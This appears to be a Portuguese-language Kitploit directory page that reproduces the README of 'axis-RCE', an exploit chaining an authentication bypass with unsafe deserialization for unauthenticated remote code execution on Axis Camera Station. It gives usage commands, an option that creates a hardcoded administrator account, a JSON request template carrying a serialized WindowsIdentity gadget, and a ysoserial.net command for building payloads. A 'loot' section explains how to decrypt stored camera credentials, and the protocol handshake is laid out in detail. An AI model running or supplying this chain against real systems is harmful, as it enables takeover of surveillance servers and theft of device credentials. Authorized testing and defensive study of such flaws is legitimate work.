Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
axis-RCE — RCE não autenticado no Axis Camera Station (ACS) encadeando CVE‑2025‑30026 (Bypass de autenticação) + CVE‑2025‑30023 (Desserialização insegura) | Kitploit
Ferramentas/GitHubGitHub/ricardojoserf/axis-rce
Segurança IoTAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebCriptografiaTestes de PenetraçãoAutenticaçãoRed TeamingDesenvolvimento de Payloads
GitHubricardojoserf/axis-rce

axis-RCE

RCE não autenticado no Axis Camera Station (ACS) encadeando CVE‑2025‑30026 (Bypass de autenticação) + CVE‑2025‑30023 (Desserialização insegura)

6há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver RepositórioSite

CVE-2025-30026 + CVE-2025-30023: RCE não autenticado

Este exploit encadeia o CVE‑2025‑30026 (Bypass de autenticação) com o CVE‑2025‑30023 (Desserialização insegura) para obter RCE não autenticado no software Axis Camera Station. Ele contorna o mecanismo de login e entrega payloads serializados maliciosos que acionam a execução arbitrária de comandos, dando ao atacante controle total sobre a máquina alvo.

Ambas as vulnerabilidades afetam as versões do Axis Camera Station Pro anteriores à 6.9 e as versões do Axis Camera Station anteriores à 5.58.

Ele é baseado no post do blog da Claroty "Turning Camera Surveillance on its Axis", que descreve o protocolo e as vulnerabilidades associadas.



Uso

python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
FlagDescrição
--hostIP/host de destino (obrigatório).
--portPorta de destino (padrão 55752).
--keyChave privada RSA-2048 do cliente em PEM (obrigatório).
--jsonArquivo JSON local contendo a Request a ser enviada.
--versionRequest VersionFacade.get_ProductVersion para obter informações de versão.
--adduserCria o usuário ricardo com a senha ThisIsIt123 e o adiciona ao grupo Administrators.
--waitSegundos para escutar no canal após o handshake (padrão 5).
--listenSegundos para aguardar a resposta após enviar uma Request (padrão 15).

Requisitos

Instale as dependências e gere uma chave privada RSA em formato PEM para o cliente:

pip install cryptography
openssl genrsa -out client_priv.pem 2048

Exemplos

Consulte a versão do produto para verificar se a versão é vulnerável:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

img1

Explorar a desserialização para criar um usuário administrador ricardo com a senha ThisIsIt123:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser

img2

img3

Envie um Request personalizado a partir de um arquivo JSON para executar qualquer comando:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json

Formato do arquivo Request

Um Request é um objeto JSON com uma única chave "Request". O formato para explorar a desserialização é:

{
    "Request": {
        "Id": "random123456",
        "Service": "SessionFacade",
        "Method": "LogOnAsync",
        "Parameters": {
            "uri": "http://192.168.1.197:55752/",
            "clientInformationDto": {
                "$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                "System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
            },
            "communicationType": 0,
            "ct": "random123456"
        }
    }
}

O valor do campo clientInformationDto pode ser obtido usando Ysoserial.net com um gadget como WindowsIdentity, que parece bastante estável para explorar essa vulnerabilidade (outros gadgets derrubam o serviço):

ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw


Loot extra

Depois de obter acesso à máquina Windows, você tem acesso aos bancos de dados .FDB que contêm as credenciais para se conectar aos diferentes dispositivos. Estes são criptografados usando uma implementação fraca de AES, que você pode descriptografar imediatamente usando o número de série do volume do host ou por força bruta em minutos com uma GPU.

Você pode usar o script neste repositório para explorá-la: CVE-2026-63286.



Como o protocolo funciona

O AXIS Camera Station encapsula um protocolo binário com estado sobre HTTP. Em vez de uma requisição/resposta por conexão, ele abre dois canais de longa duração e transmite mensagens em frames sobre eles até que a conexão seja fechada.

CamadaDetalhe
TransporteHTTP sobre a porta 55752. GET /_/ abre o canal RX (recebimento); POST /_/<channelID> é o canal TX (envio), com cada mensagem no corpo do POST.
Enquadramento RXCorpo HTTP chunked; dentro dele, os frames de controle são [uint32 LE length][data].
HandshakeAmbos os lados trocam uma chave pública, depois uma chave de sessão AES aleatória encapsulada com a chave pública do outro lado.
Formato da chaveO cliente envia seu certificado X.509 (base64). A chave AES é enviada como base64(wrapped_key):base64(iv).
Encapsulamento RSAPKCS#1 v1.5.
CanalAES-256-CBC com padding PKCS#7. Os frames servidor→cliente usam a chave + IV do servidor.
AplicaçãoJSON do Axis.Remoting. O cliente primeiro envia seu ClientId como um HELLO, depois {"Request":{"Id","Service","Method","Parameters"}}.

Sequência de handshake

RX  GET /_/                 <-  channelID
RX  (server pushes)         <-  server cert (X.509, base64)
RX  (server pushes)         <-  server AES key + IV  (wrapped)
TX  POST /_/<channelID>     ->  client cert (X.509, base64)
TX  POST /_/<channelID>     ->  client AES key + IV  (wrapped)
TX  POST /_/<channelID>     ->  HELLO (ClientId)
TX  POST /_/<channelID>     ->  encrypted JSON Request
RX  (server pushes)         <-  encrypted JSON Response


Notas

  • Testado nas versões 5.57.27610 e 5.57.33556 executando no Windows 11.

  • Ataques de desserialização podem derrubar o serviço se gadgets instáveis ou parâmetros inadequados forem usados, portanto sempre teste em ambientes controlados.

  • Este script é fornecido exclusivamente para fins educacionais e de testes autorizados... use por sua conta e risco!

Baixar ferramenta